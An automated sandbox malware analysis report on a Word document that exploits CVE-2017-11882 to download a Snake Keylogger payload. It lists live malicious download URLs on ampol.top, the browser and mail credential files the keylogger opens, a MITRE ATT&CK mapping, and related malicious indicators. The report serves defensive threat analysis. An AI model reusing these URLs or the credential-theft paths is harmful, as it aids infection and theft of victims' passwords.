Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match	File source: 5.2.obie8920193.exe.3599d70.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.obie8920193.exe.3579550.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.obie8920193.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.obie8920193.exe.3599d70.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.obie8920193.exe.3579550.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.864143938.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.366574375.0000000003579000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.864677424.00000000023DC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.864677424.0000000002231000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: obie8920193.exe PID: 3152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: obie8920193.exe PID: 3244, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\obie8920193.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Roaming\obie8920193.exe

File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\

Jump to behavior

Source: Yara match	File source: 5.2.obie8920193.exe.3599d70.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.obie8920193.exe.3579550.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.obie8920193.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.obie8920193.exe.3599d70.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.obie8920193.exe.3579550.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.864143938.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.366574375.0000000003579000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: obie8920193.exe PID: 3152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: obie8920193.exe PID: 3244, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match	File source: 5.2.obie8920193.exe.3599d70.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.obie8920193.exe.3579550.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.obie8920193.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.obie8920193.exe.3599d70.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.obie8920193.exe.3579550.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.864143938.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.366574375.0000000003579000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.864677424.00000000023DC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.864677424.0000000002231000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: obie8920193.exe PID: 3152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: obie8920193.exe PID: 3244, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	33 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	111 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Install Root Certificate	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	31 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	111 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Bank Slip 2.doc	39%	ReversingLabs	Document-RTF.Exploit.CVE-2017-11882

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\obie8920193.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\FcdBUj68lnCbMtB[1].exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://crl.entrust.net/server1.crl0	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://secure.comodo.com/CPS0	0%	URL Reputation	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe
http://reallyfreegeoip.org	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org	0%	Avira URL Cloud	safe
http://checkip.dyndns.org/q	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	Avira URL Cloud	safe
https://ampol.top/FcdBUj68lnCbMtB.exe	100%	Avira URL Cloud	malware
https://ampol.top/FcdBUj68lnCbMtB.exej	100%	Avira URL Cloud	malware
https://ampol.top/	100%	Avira URL Cloud	malware
https://ampol.top/FcdBUj68lnCbMtB.exettC:	100%	Avira URL Cloud	malware
http://checkip.dyndns.org/	0%	Avira URL Cloud	safe
http://checkip.dyndns.org	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org/xml/8.46.123.33	0%	Avira URL Cloud	safe
http://checkip.dyndns.com	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org/xml/8.46.123.334	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org/xml/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
ampol.top	104.21.53.203	true	true	unknown
reallyfreegeoip.org	188.114.96.3	true	true	unknown
checkip.dyndns.com	158.101.44.242	true	false	unknown
checkip.dyndns.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://checkip.dyndns.org/	false	Avira URL Cloud: safe	unknown
https://ampol.top/FcdBUj68lnCbMtB.exe	true	Avira URL Cloud: malware	unknown
https://reallyfreegeoip.org/xml/8.46.123.33	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ampol.top/	EQNEDT32.EXE, 00000002.00000002.354581271.00000000005FF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ampol.top/FcdBUj68lnCbMtB.exej	EQNEDT32.EXE, 00000002.00000002.354581271.00000000005BF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	EQNEDT32.EXE, 00000002.00000002.354581271.000000000063A000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864185355.0000000000514000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/server1.crl0	EQNEDT32.EXE, 00000002.00000002.354581271.000000000063A000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864185355.0000000000514000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.entrust.net03	EQNEDT32.EXE, 00000002.00000002.354581271.000000000063A000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864185355.0000000000514000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org/q	obie8920193.exe, 00000005.00000002.366574375.0000000003579000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864143938.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ampol.top/FcdBUj68lnCbMtB.exettC:	EQNEDT32.EXE, 00000002.00000002.354581271.00000000005BF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://reallyfreegeoip.org	obie8920193.exe, 00000007.00000002.864677424.0000000002367000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002392000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000023CE000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002385000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002374000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000022EC000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000023C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org	obie8920193.exe, 00000007.00000002.864677424.0000000002367000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002392000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000023CE000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000022D4000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002385000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002374000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000023C0000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002317000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	EQNEDT32.EXE, 00000002.00000002.354581271.000000000063A000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864185355.0000000000514000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	EQNEDT32.EXE, 00000002.00000002.354581271.000000000063A000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864185355.0000000000514000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org	obie8920193.exe, 00000007.00000002.864677424.00000000022C5000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002367000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002392000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000023CE000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000022D4000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002385000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002374000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000023C0000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000023A0000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002317000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.com	obie8920193.exe, 00000007.00000002.864677424.0000000002367000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002392000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000023CE000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000022D4000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002385000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002374000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000023C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net0D	EQNEDT32.EXE, 00000002.00000002.354581271.000000000063A000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864185355.0000000000514000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.334	obie8920193.exe, 00000007.00000002.864677424.0000000002367000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002392000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000023CE000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002385000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002374000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000023C0000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002317000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	obie8920193.exe, 00000005.00000002.366421408.0000000002571000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002231000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.comodo.com/CPS0	EQNEDT32.EXE, 00000002.00000002.354581271.000000000063A000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864185355.0000000000514000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	EQNEDT32.EXE, 00000002.00000002.354913231.0000000004379000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.354581271.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe.2.dr, FcdBUj68lnCbMtB[1].exe.2.dr	false	URL Reputation: safe	unknown
http://crl.entrust.net/2048ca.crl0	EQNEDT32.EXE, 00000002.00000002.354581271.000000000063A000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864185355.0000000000514000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/	obie8920193.exe, 00000005.00000002.366574375.0000000003579000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864143938.0000000000402000.00000040.00000400.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000022D4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
193.122.6.168	unknown	United States	31898	ORACLE-BMC-31898US	false
188.114.96.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
193.122.130.0	unknown	United States	31898	ORACLE-BMC-31898US	false
158.101.44.242	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
104.21.53.203	ampol.top	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1465556
Start date and time:	2024-07-01 20:05:15 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Bank Slip 2.doc
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winDOC@9/14@25/5
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 98% Number of executed functions: 34 Number of non-executed functions: 10
Cookbook Comments:	Found application associated with file extension: .doc Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Scroll down Close Viewer Override analysis time to 75628.2303992625 for current running targets taking high CPU consumption Override analysis time to 151256.460798525 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, conhost.exe, svchost.exe
Execution Graph export aborted for target EQNEDT32.EXE, PID 1804 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateValueKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Bank Slip 2.doc

Simulations

Behavior and APIs

Time	Type	Description
14:06:04	API Interceptor	275x Sleep call for process: EQNEDT32.EXE modified
14:06:08	API Interceptor	8653002x Sleep call for process: obie8920193.exe modified
14:06:12	API Interceptor	13x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.122.6.168	JgRVqrgNs4.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	H3fwQALXDX.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	MT Marine Tiger.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	vsl particulars packing list.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	new order.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	z1MB267382625AE.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Prouduct list Specifictions.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	LAQ-PO088PDF.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	IMG_0071191023.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	checkip.dyndns.org/
	new purchase order.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
188.114.96.3	QUOTATION_JULQTRA071244#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	filetransfer.io/data-package/mHgyHEv5/download
	file.exe	Get hash	malicious	FormBook	Browse	www.cavetta.org.mt/yhnb/
	http://johnlewisfr.com	Get hash	malicious	Unknown	Browse	johnlewisfr.com/
	cL7A9wGE3w.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	445798cm.nyashka.top/ProviderEternalLinephpRequestSecurePacketprocessauthwordpress.php
	http://www.youkonew.anakembok.de/	Get hash	malicious	HTMLPhisher	Browse	www.youkonew.anakembok.de/cdn-cgi/challenge-platform/h/g/jsd/r/89b98144d9c843b7
	hnCn8gE6NH.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	yenot.top/providerlowAuthApibigloadprotectflower.php
	288292021 ABB.exe	Get hash	malicious	FormBook	Browse	www.oc7o0.top/2zff/?Hp=4L8xoD0W4Zo4sy87CvwWXXlmZfhaBYNiZZOBxyE5jHDJEgkxN8cq+PG6NIXzy1XRCqQIvL5VyJCknvUNNLKk6zzmBcbZOQR3Nr9VCMayuUBptQdoGcq8y485hKv0f5POEUdLprTAYpXY&5H=CtUlKhgP42a
	eiqj38BeRo.rtf	Get hash	malicious	FormBook	Browse	www.liposuctionclinics2.today/btrd/?OR-TJfQ=g2Awi9g0RhXmDXdNu5BlCrpPGRTrEfCXfESYZTVa1wMirmNXITW5szlP5E4EhRYb22U+Mw==&2dc=kvXd-rKHCF
	Purchase Order -JJ023639-PDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	filetransfer.io/data-package/9a4iHwft/download
	Techno_PO LV12406-00311.xla.xlsx	Get hash	malicious	Unknown	Browse	qr-in.com/cpGHnqq

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	MT_80362_72605XLS.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	JgRVqrgNs4.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	JgRVqrgNs4.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	H3fwQALXDX.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	oHchwlxMNG.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	zkB0qfWSJk.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	scan copy.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	f3c462280fd1964d68c76ff6889bd3c766fa7140c07962dda32c0cb488188695_payload.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	vsl particulars packing list.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
checkip.dyndns.com	MT_80362_72605XLS.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	158.101.44.242
	JgRVqrgNs4.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	JgRVqrgNs4.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	H3fwQALXDX.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	oHchwlxMNG.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	zkB0qfWSJk.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	file.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	scan copy.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	f3c462280fd1964d68c76ff6889bd3c766fa7140c07962dda32c0cb488188695_payload.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	vsl particulars packing list.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	MT_80362_72605XLS.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	158.101.44.242
	JgRVqrgNs4.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	JgRVqrgNs4.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	H3fwQALXDX.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	zkB0qfWSJk.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	file.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	f3c462280fd1964d68c76ff6889bd3c766fa7140c07962dda32c0cb488188695_payload.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	MT Marine Tiger.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	new order.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	MT Marine Tiger.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
CLOUDFLARENETUS	https://click.pstmrk.it/3s/marryatbali.com%2Fdev%2F/EUHQ/Il62AQ/AQ/b5b2a7e4-6441-4a86-be73-2bf498fd1e9a/1/MLzcqAxPmj	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	http://url2530.tvsmotor.com/ls/click?upn=u001.smInq0-2BkNc5oRshkzMLE7U6zcio2-2F9zwu1ZIXUanV0NJI-2BOrcqj0f4SCu-2B-2BWZYRJ5WulbQ5i5mBsK1zXEak-2FiMRG64aR-2FUGiDgoHteplEfqii9y-2FZm8OviJTU1sjmz7jpaYlxIO-2FZqsCEMZLobIAuBKqKOl6jqYqSAHVwBkUZuGRzhvuesvLIb-2BOJaFEug0CnemcJJ-2FkU8Glr1M3HQvGDd8ji5dO-2BtGjFwdkKxtwV-2BT-2FIDZLBFuspWHIOxNeRRYzjnPYwPcANsM7g6bBF5Eb-2FtBeYO84se-2BxM2-2FftOX61g3tKjw4-2BmFTEe65zPmmIV01t1qMegNLN27WQA4-2BWSzp8Exonts6yxo7jLDqmXJMwdw-3DSDkl_fylF09WDx4VRLHs1TE6by-2Fm24mY0V6PaWh-2BQeqn0Ay-2FMm-2FGvFUfwxkNWNqnFtCc1bg3RDtukBd6YTikFNr9njJPj8fPjtMTy7wESEphTN1Xt33p1RcATr-2Faa6esQ5neBHfE9PchIfWN2pGu-2FDyTo9jBl7IxKpEon9SyD5nvMkxE22jB5lqUsSt3NSAbiAi6xLdjPQNgUE2zZRGhN5aAjyw-3D-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://endress-dot-polynomial-net-415922.uk.r.appspot.com/	Get hash	malicious	Unknown	Browse	1.1.1.1
	http://url2530.tvsmotor.com/ls/click?upn=u001.smInq0-2BkNc5oRshkzMLE7U6zcio2-2F9zwu1ZIXUanV0NJI-2BOrcqj0f4SCu-2B-2BWZYRJ5WulbQ5i5mBsK1zXEak-2FiMRG64aR-2FUGiDgoHteplEfqii9y-2FZm8OviJTU1sjmz7jpaYlxIO-2FZqsCEMZLobIAuBKqKOl6jqYqSAHVwBkUZuGRzhvuesvLIb-2BOJaFEug0CnemcJJ-2FkU8Glr1M3HQvGDZIRt5HYOjqWnCYPyN2LzfWA5WJpqP15j9jckbuN-2BOb3WHvq-2F0cJQJdn87kO0MSPy0cFUfIeq9yRYQqhn4htwvkWsNx-2FFam80MMPtdHc4W-2BjtofBO6rARCMSHyY6bevTzA-3D-3Dl5B0_ZmIHaGi20aqBKA3sG1JfXxzr0sPFOA2uIfsKnhz-2FHsHlNN56Un7vVp-2FHLlgOEVpr0kMJXFtRNAtOmyfAL3Lkes92MiYR3EbwQLlO4as4ETAbkJiOU1P-2F6SWFB0T3LaiXQjVG47m8S-2B1KmL8spseUk6IF4zRohQ-2B-2FFQktOHSnuyuc8HWSvn8BvqxHU3iGIxrIS-2FUCmGYTBpWBLsLVoZYmGg-3D-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	8hd98EhtIFcYkb8.exe	Get hash	malicious	FormBook	Browse	172.67.194.145
